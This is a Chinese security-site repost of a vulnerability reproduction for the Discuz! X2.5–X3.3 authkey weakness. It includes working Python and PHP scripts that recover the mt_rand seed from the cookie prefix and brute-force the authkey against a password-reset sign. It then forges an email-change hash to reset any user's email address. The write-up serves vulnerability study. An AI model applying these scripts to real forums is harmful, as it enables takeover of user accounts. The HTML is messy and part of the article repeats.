免费发布信息
当前位置:APP交易 > 热点资讯 > app交易 >  DiscuzX3.3 authkey可爆破漏洞分析及复现

DiscuzX3.3 authkey可爆破漏洞分析及复现

发表时间:2021-07-09 16:56:34  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

<p></p><div data-v-7a63e4b3="" class="v-note-show single-show"><div data-v-7a63e4b3="" class="v-show-content scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255);"><h2>前言</h2>
<p>在看了一个师傅写的 Discuz_X authkey安全性漏洞分析文章后,对其中的某些点还是有些模糊,于是决定下载DiscuzX3.3将authkey可爆破漏洞复现下,尽可能的说清楚复现的每一步及其利用的工具和脚本。</p>
<h2>漏洞详情</h2>
<p>2017年8月1日,Discuz!发布了X3.4版本,此次更新中修复了authkey生成算法的安全性漏洞,通过authkey安全性漏洞,我们可以获得authkey。系统中逻辑大量使用authkey以及authcode算法,通过该漏洞可导致一系列安全问题:邮箱校验的hash参数被破解,导致任意用户绑定邮箱可被修改等…</p>
<p>漏洞影响版本:</p>
<ul>
<li>Discuz_X3.3_SC_GBK</li>
<li>Discuz_X3.3_SC_UTF8</li>
<li>Discuz_X3.3_TC_BIG5</li>
<li>Discuz_X3.3_TC_UTF8</li>
<li>Discuz_X3.2_SC_GBK</li>
<li>Discuz_X3.2_SC_UTF8</li>
<li>Discuz_X3.2_TC_BIG5</li>
<li>Discuz_X3.2_TC_UTF8</li>
<li>Discuz_X2.5_SC_GBK</li>
<li>Discuz_X2.5_SC_UTF8</li>
<li>Discuz_X2.5_TC_BIG5</li>
<li>Discuz_X2.5_TC_UTF8</li>
</ul>
<h2>漏洞分析</h2>
<h3>authkey的产生</h3>
<p>在install/index.php中有关于authkey的产生方法:</p>
<pre><div class="hljs">$uid = DZUCFULL ? <span class="hljs-number">1</span> : $adminuser[<span class="hljs-string">'uid'</span>];
$authkey = substr(md5($_SERVER[<span class="hljs-string">'SERVER_ADDR'</span>].$_SERVER[<span class="hljs-string">'HTTP_USER_AGENT'</span>].$dbhost.$dbuser.$dbpw.$dbname.<p></p><pre><code> $username.$password.$pconnect.substr($timestamp, <span class="hljs-number">0</span>, <span class="hljs-number">6</span>)), <span class="hljs-number">8</span>, <span class="hljs-number">6</span>).random(<span class="hljs-number">10</span>);</code></pre></code><p><code class="lang-php">$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'dbhost'</span>] = $dbhost;<br>$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'dbname'</span>] = $dbname;<br>$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'dbpw'</span>] = $dbpw;<br>$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'dbuser'</span>] = $dbuser;<br>$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'tablepre'</span>] = $tablepre;<br>$_config<span class="hljs-string">'admincp'</span> = (string)$uid;<br>$_config<span class="hljs-string">'security'</span> = $authkey;<br>$_config<span class="hljs-string">'cookie'</span> = random(<span class="hljs-number">4</span>).<span class="hljs-string">'_'</span>;
$_config<span class="hljs-string">'memory'</span> = random(<span class="hljs-number">6</span>).<span class="hljs-string">'_'</span>;<br></code></p></div></pre><br><p>authkey是由多个<a href="https://www.fastadmin.net/go/aliyun" target="_blank">服务器</a>变量,数据库信息md5的前6位加<code>random</code>函数生成的随机10位数,前6位数字我们无从得知,但是问题就出现在了<code>random</code>函数上,跟进<code>random</code>函数,<br><br>在<code>/ucserver/install/func.inc.php</code>中:</p><br><pre><div class="hljs"><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-">random</span><span class="hljs-params">($length)</span> </span>{<p></p><pre>$hash = <span class="hljs-string">''</span>;
$chars = <span class="hljs-string">'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'</span>;
$max = strlen($chars) - <span class="hljs-number">1</span>;
PHP_VERSION < <span class="hljs-string">'4.2.0'</span> && mt_srand((double)microtime() * <span class="hljs-number">1000000</span>);
<span class="hljs-keyword">for</span>($i = <span class="hljs-number">0</span>; $i < $length; $i++) {

$hash .= $chars[mt_rand(<span class="hljs-number">0</span>, $max)];

}
<span class="hljs-keyword">return</span> $hash;</code></pre></code><p><code class="lang-php">}<br></code></p></div></pre><br><p>可以看到当PHP版本&gt;=4.2时,<code>mt_rand</code>的随机数种子是固定的。现在的思路是计算随机数种子,使用随机数种子生成 <code>authkey</code>,找到可以验证<code>authkey</code>是否正确的接口,爆破得出<code>authkey</code>。很幸运的是Discuz有很多地方使用到了<code>authkey</code>来生成一些信息,利用这点就可以验证<code>authkey</code>的正确性,这个我们后面会提到。</p><br><h3><a id="mt_rand_62"></a>关于mt_rand</h3><br><p>&gt; mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。<br><br>&gt; 该函数是产生随机值的更好选择,返回结果的速度是 rand() 函数的 4 倍。<br><br>&gt; 如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 mt_rand (10,100)。</p><br><p>语法:</p><br><pre><div class="hljs"><code class="lang-php">mt_rand();<br><span class="hljs-keyword">or</span><br>mt_rand(min,max);<br></code></div></pre><br><p>ok,了解了<code>mt_rand</code>函数的用法后,我们使用<code>mt_rand</code>来生成10个1-100之间的随机数:</p><br><p>代码如下:</p><br><pre><div class="hljs"><code class="lang-php"><!--?php<br-->mt_srand(<span class="hljs-number">12345</span>);<br><span class="hljs-keyword">for</span>($i=<span class="hljs-number">0</span>;$i&lt;<span class="hljs-number">10</span>;$i++){
<span class="hljs-keyword">echo</span> (mt_rand(<span class="hljs-number">1</span>,<span class="hljs-number">100</span>));
<span class="hljs-keyword">echo</span> (<span class="hljs-string">"n"</span>);
}
</div></pre>
<p>结果:</p><img src="/uploads/20200826/bb51f5573e96ccce81cbf33c3497cf64.jpg" style="max-width:100%;">
<p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2015%2035%2043.png"; alt="20200513153543"></p>
<p>在运行一次:</p><img src="/uploads/20200826/f06555b6edf1d76a93274f630aac7e50.jpg" style="max-width:100%;">
<p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2015%2036%2020.png"; alt="20200513153620"></p>
<p>可以看到两次运行产生的随机数竟然是一样的,我们把这个称为伪“随机数”,正是由于mt_rand函数的这种特性,我们才可以进行随机数的预测,关于"伪随机数"的详细介绍可以看看下面这两篇文章:</p>
<ul>
<li>PHP中的随机数安全问题</li>
<li>PHP mt_rand()随机数安全</li>
</ul>
<h3>爆破随机数种子</h3>
<p>ok,了解了mt_rand函数后,需要做的就是爆破出随机数种子,在/install/index.php中可看到cookie的前缀的前四位也是由random函数生成的,而cookie我们是可以看到的:</p>
<pre><div class="hljs">$_config<span class="hljs-string">'cookie'</span> = random(<span class="hljs-number">4</span>).<span class="hljs-string">'_'</span>;
</div></pre>
<p><img src="/uploads/20200826/76af65bc38148b2bd3c1ca09779d74d0.jpg" style="max-width:100%;">
</p><p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2015%2049%2041.png"; alt="20200513154941"></p>
<p>cookie前缀为:CHFV</p>
<p>那我们就可以使用字符集加上4位已知字符,爆破随机数种子,爆破随机数种子的工具已经有人写出,地址为:https://www.openwall.com/php_mt_seed/,关于此工具的使用方法可自行查阅。</p>
<p>首先使用脚本生成用于php_mt_seed工具的参数:</p>
<pre><div class="hljs"><span class="hljs-comment"># coding=utf-8</span>
w_len = <span class="hljs-number">10</span>
result = <span class="hljs-string">""</span>
str_list = <span class="hljs-string">"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"</span>
length = len(str_list)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> xrange(w_len):<p></p><pre>result+=<span class="hljs-string">"0 "</span>
result+=str(length<span class="hljs-number">-1</span>)
result+=<span class="hljs-string">" "</span>
result+=<span class="hljs-string">"0 "</span>
result+=str(length<span class="hljs-number">-1</span>)
result+=<span class="hljs-string">" "</span>
</pre><p>sstr = <span class="hljs-string">"CHFV"</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> sstr:</p><pre>result+=str(str_list.index(i))
result+=<span class="hljs-string">" "</span>
result+=str(str_list.index(i))
result+=<span class="hljs-string">" "</span>
result+=<span class="hljs-string">"0 "</span>
result+=str(length<span class="hljs-number">-1</span>)
result+=<span class="hljs-string">" "</span>
</pre>
<p><span class="hljs-keyword">print</span> result
</p></div></pre>
<p>结果为:</p>
<pre>0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 2 2 0 61 7 7 0 61 5 5 0 61 21 21 0 61
</pre>
<p>使用php_mt_seed工具爆破随机数种子:</p><div data-v-7a63e4b3="" class="v-show-content scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255);">
</div><img src="/uploads/20200826/4d937749ea5830159681f670731d8ec2.jpg" style="max-width:100%;">
<p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2018%2004%2059.png"; alt="20200513180459"></p>
<p>由于当前使用的php版本为5.6,符合结果的一共有293个。</p>
<h3>爆破authkey</h3>
<p>获得了随机数种子后,利用随机数种子使用random函数生成随机字符串用于后面的authkey爆破,生成随机字符串的脚本如下:</p>
<pre><div class="hljs"><!--?php<br--><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-">random</span><span class="hljs-params">($length)</span> </span>{<p></p><pre><code>$hash = <span class="hljs-string">''</span>;
$chars = <span class="hljs-string">'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'</span>;
$max = strlen($chars) - <span class="hljs-number">1</span>;
PHP_VERSION < <span class="hljs-string">'4.2.0'</span> && mt_srand((double)microtime() * <span class="hljs-number">1000000</span>);
<span class="hljs-keyword">for</span>($i = <span class="hljs-number">0</span>; $i < $length; $i++) {

$hash .= $chars[mt_rand(<span class="hljs-number">0</span>, $max)];

}
<span class="hljs-keyword">return</span> $hash;</code></pre><p>}<br>$fp = fopen(<span class="hljs-string">'result1.txt'</span>, <span class="hljs-string">'r'</span>);
$fp2 = fopen(<span class="hljs-string">'result2.txt'</span>, <span class="hljs-string">'a'</span>);<br><span class="hljs-keyword">while</span>(!feof($fp)){</p><pre>$b = fgets($fp, <span class="hljs-number">4096</span>);
<span class="hljs-keyword">if</span>(preg_match(<span class="hljs-string">"/([=s].*[=s])(d+)[s]/"</span>, $b, $matach)){

$m = $matach[<span class="hljs-number">2</span>];

}<span class="hljs-keyword">else</span>{

<span class="hljs-keyword">continue</span>;

}
<span class="hljs-comment">// var_dump($matach);</span>
<span class="hljs-comment">// var_dump($m);</span>
mt_srand($m);
fwrite($fp2, random(<span class="hljs-number">10</span>).<span class="hljs-string">"\n"</span>);</code></pre></code><p><code class="lang-php">}<br>fclose($fp);
fclose($fp2);
</p></div></pre>
<p>如何验证authkey的正确性呢?我们注意到在找回密码时,系统给用户发送的邮件中的链接如下:</p><div data-v-7a63e4b3="" class="v-show-content scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255);">
</div><img src="/uploads/20200826/201216211ac6715e8f00c282d1a82fc5.jpg" style="max-width:100%;">
<p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2019%2016%2059.png"; alt="20200513191659"></p>
<p>把目光转移到代码中,寻找sign值的生成方式,在/source/module/member/member_lostpassw.php有如下代码:</p><div data-v-7a63e4b3="" class="v-show-content scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255);">
</div><img src="/uploads/20200826/de248342c6b36524e40c5ca03bf5d124.jpg" style="max-width:100%;">
<p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2019%2020%2011.png"; alt="20200513192011"></p>
<p>跟进到make_getpws_sign函数中:</p>
<p><img src="/uploads/20200826/175e295d14904b3901b1be240b2c3b1f.jpg" style="max-width:100%;">
</p><p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2019%2021%2047.png"; alt="20200513192147"></p>
<p>继续跟进到dsign函数中:</p>
<p><img src="/uploads/20200826/f594b6e7bf4e4389b62f6a45c798c0e9.jpg" style="max-width:100%;">
</p><p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2019%2022%2054.png"; alt="20200513192254"></p>
<p>发现dsign配合使用了authkey来生成sign值,那么我们接下来要做的就是模拟这个过程来获取找回密码处的uid,id,sign值来爆破authkey,下面是爆破脚本:</p>
<pre><div class="hljs"><span class="hljs-comment">#coding: utf-8</span>
<span class="hljs-keyword">import</span> itertools
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> time
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-">dsign</span><span class="hljs-params">(authkey)</span>:</span><p></p><pre>url = <span class="hljs-string">"http://127.0.0.1/dz3.3/"</span>
idstring = <span class="hljs-string">"xZhQzV"</span>
uid = <span class="hljs-number">2</span>
uurl = <span class="hljs-string">"{}member.php?mod=getpasswd&uid={}&id={}"</span>.format(url, uid, idstring)
url_md5 = hashlib.md5(uurl+authkey)
<span class="hljs-keyword">return</span> url_md5.hexdigest()[:<span class="hljs-number">16</span>]
</pre><p><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-">main</span><span class="hljs-params">()</span>:</span></p><pre>sign = <span class="hljs-string">"6e2b1a0bb563da89"</span>
str_list = <span class="hljs-string">"0123456789abcdef"</span>
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'result2.txt'</span>) <span class="hljs-keyword">as</span> f:

ranlist = [s[:<span class="hljs-number">-1</span>] <span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span> f]

s_list = sorted(set(ranlist), key=ranlist.index)
r_list = itertools.product(str_list, repeat=<span class="hljs-number">6</span>)
<span class="hljs-keyword">print</span> <span class="hljs-string">"[!] start running...."</span>
s_time = time.time()
<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> r_list:

<span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span> s_list:
    prefix = <span class="hljs-string">""</span>.join(j)
    authkey = prefix + s
    <span class="hljs-comment"># print dsign(authkey)</span>
    <span class="hljs-keyword">if</span> dsign(authkey) == sign:
        <span class="hljs-keyword">print</span> <span class="hljs-string">"[*] found used time: "</span> + str(time.time() - s_time)
        <span class="hljs-keyword">return</span> <span class="hljs-string">"[*] authkey found: "</span> + authkey</code></pre></code><p><code class="lang-python"><span class="hljs-keyword">print</span> main()<br></code></p></div></pre><br><p>用上述脚本跑了大概2个小时,跑出了authkey。(脚本是单线程的,跑的有点慢,追求速度的同学可以将其改为多线程)</p><br><p><img src="/uploads/20200826/4ecb5670faa9ba7850554554c4c71860.jpg" style="max-width:100%;"><br></p><p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2012%2057%2016.png"; alt="20200514125716"&gt;</p><br><p>在和配置文件中的authkey对比一下,可以看到是一样的。</p><br><p><img src="/uploads/20200826/21c470ab077a244d1994574a8ca93b00.jpg" style="max-width:100%;"><br></p><p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2012%2058%2019.png"; alt="20200514125819"&gt;</p><br><p>至此,authkey已经被我们爆破出来了,有了authkey以后我们可以用来重置任意用户的邮箱地址。</p><br><h2><a id="_249"></a>漏洞利用</h2><br><p>当我们需要重置用户邮箱时,系统会发一份下面这样的邮件:</p><br><p><img src="/uploads/20200826/7374dac91e3afdbb198771b9cf1dc80d.jpg" style="max-width:100%;"><br></p><p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2013%2007%2035.png"; alt="20200514130735"&gt;</p><br><p>可以看到重置链接中最重要的是hash的参数值,有了这个hash值就可以重置邮件地址了。</p><br><p>回到代码<code>/source/include/misc/misc_emailcheck.php</code>中,这个文件是验证重置邮件链接中hash值的:</p><br><p>贴一段主要的代码:</p><br><pre><div class="hljs"><code class="lang-php"><!--?php</p--><p><span class="hljs-comment">/**</span></p><ul><li>[Discuz!] (C)2001-2099 Comsenz Inc.</li><li>This is NOT a freeware, use is subject to license terms</li></ul><p>*</p><ul><li>$Id: misc_emailcheck.php 33688 2013-08-02 03:00:15Z nemohou $</li></ul><p>*/</p><p><span class="hljs-keyword">if</span>(!defined(<span class="hljs-string">'IN_DISCUZ'</span>)) {</p><pre><code><span class="hljs-keyword">exit</span>(<span class="hljs-string">'Access Denied'</span>);</code></pre><p>}</p><p>$uid = <span class="hljs-number">0</span>;<br>$email = <span class="hljs-string">''</span>;<br>$_GET[<span class="hljs-string">'hash'</span>] = <span class="hljs-keyword">empty</span>($_GET[<span class="hljs-string">'hash'</span>]) ? <span class="hljs-string">''</span> : $_GET[<span class="hljs-string">'hash'</span>];<br><span class="hljs-keyword">if</span>($_GET[<span class="hljs-string">'hash'</span>]) {</p><pre><code><span class="hljs-keyword">list</span>($uid, $email, $time) = explode(<span class="hljs-string">"\t"</span>, authcode($_GET[<span class="hljs-string">'hash'</span>], <span class="hljs-string">'DECODE'</span>, md5(substr(md5($_G[<span class="hljs-string">'config'</span>][<span class="hljs-string">'security'</span>][<span class="hljs-string">'authkey'</span>]), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>))));

$uid = intval($uid);</pre><p>}</p><p><span class="hljs-keyword">if</span>($uid &amp;&amp; isemail($email) && $time &gt; TIMESTAMP - <span class="hljs-number">86400</span>) {</p><pre><code>$member = getuserbyuid($uid);
$setarr = <span class="hljs-keyword">array</span>(<span class="hljs-string">'email'</span>=&gt;$email, <span class="hljs-string">'emailstatus'</span>=><span class="hljs-string">'1'</span>);
<span class="hljs-keyword">if</span>($_G<span class="hljs-string">'member'</span> == <span class="hljs-number">2</span>) {

$setarr[<span class="hljs-string">'freeze'</span>] = <span class="hljs-number">0</span>;

}
loaducenter();
$ucresult = uc_user_edit(addslashes($member[<span class="hljs-string">'username'</span>]), <span class="hljs-string">''</span>, <span class="hljs-string">''</span>, $email, <span class="hljs-number">1</span>);
<span class="hljs-keyword">if</span>($ucresult == <span class="hljs-number">-8</span>) {

showmessage(<span class="hljs-string">'email_check_account_invalid'</span>, <span class="hljs-string">''</span>, <span class="hljs-keyword">array</span>(), <span class="hljs-keyword">array</span>(<span class="hljs-string">'return'</span> =&gt; <span class="hljs-keyword">true</span>));

} <span class="hljs-keyword">elseif</span>($ucresult == <span class="hljs-number">-4</span>) {

showmessage(<span class="hljs-string">'profile_email_illegal'</span>, <span class="hljs-string">''</span>, <span class="hljs-keyword">array</span>(), <span class="hljs-keyword">array</span>(<span class="hljs-string">'return'</span> =&gt; <span class="hljs-keyword">true</span>));

} <span class="hljs-keyword">elseif</span>($ucresult == <span class="hljs-number">-5</span>) {

showmessage(<span class="hljs-string">'profile_email_domain_illegal'</span>, <span class="hljs-string">''</span>, <span class="hljs-keyword">array</span>(), <span class="hljs-keyword">array</span>(<span class="hljs-string">'return'</span> =&gt; <span class="hljs-keyword">true</span>));

} <span class="hljs-keyword">elseif</span>($ucresult == <span class="hljs-number">-6</span>) {

showmessage(<span class="hljs-string">'profile_email_duplicate'</span>, <span class="hljs-string">''</span>, <span class="hljs-keyword">array</span>(), <span class="hljs-keyword">array</span>(<span class="hljs-string">'return'</span> =&gt; <span class="hljs-keyword">true</span>));

}
<span class="hljs-keyword">if</span>($_G[<span class="hljs-string">'setting'</span>][<span class="hljs-string">'regverify'</span>] == <span class="hljs-number">1</span> &amp;&amp; $member[<span class="hljs-string">'groupid'</span>] == <span class="hljs-number">8</span>) {

$membergroup = C::t(<span class="hljs-string">'common_usergroup'</span>)-&gt;fetch_by_credits($member[<span class="hljs-string">'credits'</span>]);
$setarr[<span class="hljs-string">'groupid'</span>] = $membergroup[<span class="hljs-string">'groupid'</span>];

}
updatecreditbyaction(<span class="hljs-string">'realemail'</span>, $uid);
C::t(<span class="hljs-string">'common_member'</span>)->update($uid, $setarr);
C::t(<span class="hljs-string">'common_member_validate'</span>)->delete($uid);
dsetcookie(<span class="hljs-string">'newemail'</span>, <span class="hljs-string">""</span>, <span class="hljs-number">-1</span>);

showmessage(<span class="hljs-string">'email_check_sucess'</span>, <span class="hljs-string">'home.php?mod=spacecp&ac=profile&op=password'</span>, <span class="hljs-keyword">array</span>(<span class="hljs-string">'email'</span> => $email));</code></pre><p>} <span class="hljs-keyword">else</span> {</p><pre><code>showmessage(<span class="hljs-string">'email_check_error'</span>, <span class="hljs-string">'index.php'</span>);</code></pre><p>}</p><p>?&gt;</p></code><p><code class="lang-php"></code></p></div></pre><br><p>当hash传入的时候,服务端会调用authcode函数解码获得用户的uid,要修改成的email,时间戳。然后经过一次判断就进入逻辑修改email,这里没有额外的判断。uid是从1开始依次增加的,也就是说我们可以重置任意用户的email地址。</p><br><p>跟进到<code>authcode</code>函数,并使用此函数获取hash值.</p><br><pre><div class="hljs"><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-">authcode</span><span class="hljs-params">($string, $operation = <span class="hljs-string">'DECODE'</span>, $key = <span class="hljs-string">''</span>, $expiry = <span class="hljs-number">0</span>)</span> </span>{<p></p><pre><code>$ckey_length = <span class="hljs-number">4</span>;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, <span class="hljs-number">0</span>, <span class="hljs-number">16</span>));
$keyb = md5(substr($key, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>));
$keyc = $ckey_length ? ($operation == <span class="hljs-string">'DECODE'</span> ? substr($string, <span class="hljs-number">0</span>, $ckey_length): substr(md5(microtime()), -$ckey_length)) : <span class="hljs-string">''</span>;

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == <span class="hljs-string">'DECODE'</span> ? base64_decode(substr($string, $ckey_length)) : sprintf(<span class="hljs-string">'%010d'</span>, $expiry ? $expiry + time() : <span class="hljs-number">0</span>).substr(md5($string.$keyb), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>).$string;
$string_length = strlen($string);

$result = <span class="hljs-string">''</span>;
$box = range(<span class="hljs-number">0</span>, <span class="hljs-number">255</span>);

$rndkey = <span class="hljs-keyword">array</span>();
<span class="hljs-keyword">for</span>($i = <span class="hljs-number">0</span>; $i <= <span class="hljs-number">255</span>; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

<span class="hljs-keyword">for</span>($j = $i = <span class="hljs-number">0</span>; $i &lt; <span class="hljs-number">256</span>; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % <span class="hljs-number">256</span>;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;

}

<span class="hljs-keyword">for</span>($a = $j = $i = <span class="hljs-number">0</span>; $i < $string_length; $i++) {

$a = ($a + <span class="hljs-number">1</span>) % <span class="hljs-number">256</span>;
$j = ($j + $box[$a]) % <span class="hljs-number">256</span>;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % <span class="hljs-number">256</span>]));

}

<span class="hljs-keyword">if</span>($operation == <span class="hljs-string">'DECODE'</span>) {

<span class="hljs-keyword">if</span>((substr($result, <span class="hljs-number">0</span>, <span class="hljs-number">10</span>) == <span class="hljs-number">0</span> || substr($result, <span class="hljs-number">0</span>, <span class="hljs-number">10</span>) - time() &gt; <span class="hljs-number">0</span>) &amp;&amp; substr($result, <span class="hljs-number">10</span>, <span class="hljs-number">16</span>) == substr(md5(substr($result, <span class="hljs-number">26</span>).$keyb), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>)) {
    <span class="hljs-keyword">return</span> substr($result, <span class="hljs-number">26</span>);
} <span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>;
}

} <span class="hljs-keyword">else</span> {

<span class="hljs-keyword">return</span> $keyc.str_replace(<span class="hljs-string">'='</span>, <span class="hljs-string">''</span>, base64_encode($result));

}
</pre><p>}</p>
<p><span class="hljs-keyword">echo</span> authcode(<span class="hljs-string">"3ttest@test.comt1593556905"</span>, <span class="hljs-string">'ENCODE'</span>, md5(substr(md5(<span class="hljs-string">"c0dc85pjkmNEfXuw"</span>), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>)));
</p></div></pre>
<p><img src="/uploads/20200826/d73f9660b12a3e3664e482324ab61c1b.jpg" style="max-width:100%;">
</p><p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2014%2026%2045.png"; alt="20200514142645"></p>
<p>直接用这个hash就可重置uid为3的用户的邮件地址:</p><div data-v-7a63e4b3="" class="v-show-content scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255);">
</div><img src="/uploads/20200826/2643b6a2373f743186db89b831d164f9.jpg" style="max-width:100%;">
<p>https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2014%2025%2057.png"; alt="20200514142557"></p>
<h2>最后</h2>
<p>获取authkey之后对前台用户影响巨大,例如我们仅靠authkey就可以修改所有用户的邮件地址,另外前台cookie,多个点的验证中都涉及到了authkey。至于如何依靠authkey来达到更进一步的利用,各位可继续进行探索。另外强烈推荐看这篇关于Discuz漏洞的总结文章这是一篇“不一样”的真实渗透测试案例分析文章</p>
<h2>参考</h2>
<ul>
<li>Discuz_X authkey安全性漏洞分析</li>
<li>Discuz X3.3补丁安全分析</li>
<li>这是一篇“不一样”的真实渗透测试案例分析文章</li>
</ul>
</div> <div data-v-7a63e4b3="" class="v-show-content-html scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255); display: none;"><p></p><pre> <h2>前言</h2></pre><p></p><p>在看了一个师傅写的 Discuz_X authkey安全性漏洞分析文章后,对其中的某些点还是有些模糊,于是决定下载DiscuzX3.3将authkey可爆破漏洞复现下,尽可能的说清楚复现的每一步及其利用的工具和脚本。</p>
<h2>漏洞详情</h2>
<p>2017年8月1日,Discuz!发布了X3.4版本,此次更新中修复了authkey生成算法的安全性漏洞,通过authkey安全性漏洞,我们可以获得authkey。系统中逻辑大量使用authkey以及authcode算法,通过该漏洞可导致一系列安全问题:邮箱校验的hash参数被破解,导致任意用户绑定邮箱可被修改等…</p>
<p>漏洞影响版本:</p>
<ul>
<li>Discuz_X3.3_SC_GBK</li>
<li>Discuz_X3.3_SC_UTF8</li>
<li>Discuz_X3.3_TC_BIG5</li>
<li>Discuz_X3.3_TC_UTF8</li>
<li>Discuz_X3.2_SC_GBK</li>
<li>Discuz_X3.2_SC_UTF8</li>
<li>Discuz_X3.2_TC_BIG5</li>
<li>Discuz_X3.2_TC_UTF8</li>
<li>Discuz_X2.5_SC_GBK</li>
<li>Discuz_X2.5_SC_UTF8</li>
<li>Discuz_X2.5_TC_BIG5</li>
<li>Discuz_X2.5_TC_UTF8</li>
</ul>
<h2>漏洞分析</h2>
<h3>authkey的产生</h3>
<p>在install/index.php中有关于authkey的产生方法:</p>
<pre><div class="hljs">$uid = DZUCFULL ? <span class="hljs-number">1</span> : $adminuser[<span class="hljs-string">'uid'</span>];
$authkey = substr(md5($_SERVER[<span class="hljs-string">'SERVER_ADDR'</span>].$_SERVER[<span class="hljs-string">'HTTP_USER_AGENT'</span>].$dbhost.$dbuser.$dbpw.$dbname.<p></p><pre><code> $username.$password.$pconnect.substr($timestamp, <span class="hljs-number">0</span>, <span class="hljs-number">6</span>)), <span class="hljs-number">8</span>, <span class="hljs-number">6</span>).random(<span class="hljs-number">10</span>);</code></pre></code><p><code class="lang-php">$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'dbhost'</span>] = $dbhost;<br>$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'dbname'</span>] = $dbname;<br>$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'dbpw'</span>] = $dbpw;<br>$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'dbuser'</span>] = $dbuser;<br>$_config<span class="hljs-string">'db'</span>[<span class="hljs-string">'tablepre'</span>] = $tablepre;<br>$_config<span class="hljs-string">'admincp'</span> = (string)$uid;<br>$_config<span class="hljs-string">'security'</span> = $authkey;<br>$_config<span class="hljs-string">'cookie'</span> = random(<span class="hljs-number">4</span>).<span class="hljs-string">'_'</span>;
$_config<span class="hljs-string">'memory'</span> = random(<span class="hljs-number">6</span>).<span class="hljs-string">'_'</span>;<br></code></p></div></pre><br><p>authkey是由多个<a href="https://www.fastadmin.net/go/aliyun" target="_blank">服务器</a>变量,数据库信息md5的前6位加<code>random</code>函数生成的随机10位数,前6位数字我们无从得知,但是问题就出现在了<code>random</code>函数上,跟进<code>random</code>函数,<br><br>在<code>/ucserver/install/func.inc.php</code>中:</p><br><pre><div class="hljs"><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-">random</span><span class="hljs-params">($length)</span> </span>{<p></p><pre>$hash = <span class="hljs-string">''</span>;
$chars = <span class="hljs-string">'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'</span>;
$max = strlen($chars) - <span class="hljs-number">1</span>;
PHP_VERSION &lt; <span class="hljs-string">'4.2.0'</span> && mt_srand((double)microtime() * <span class="hljs-number">1000000</span>);
<span class="hljs-keyword">for</span>($i = <span class="hljs-number">0</span>; $i &lt; $length; $i++) {

$hash .= $chars[mt_rand(<span class="hljs-number">0</span>, $max)];

}
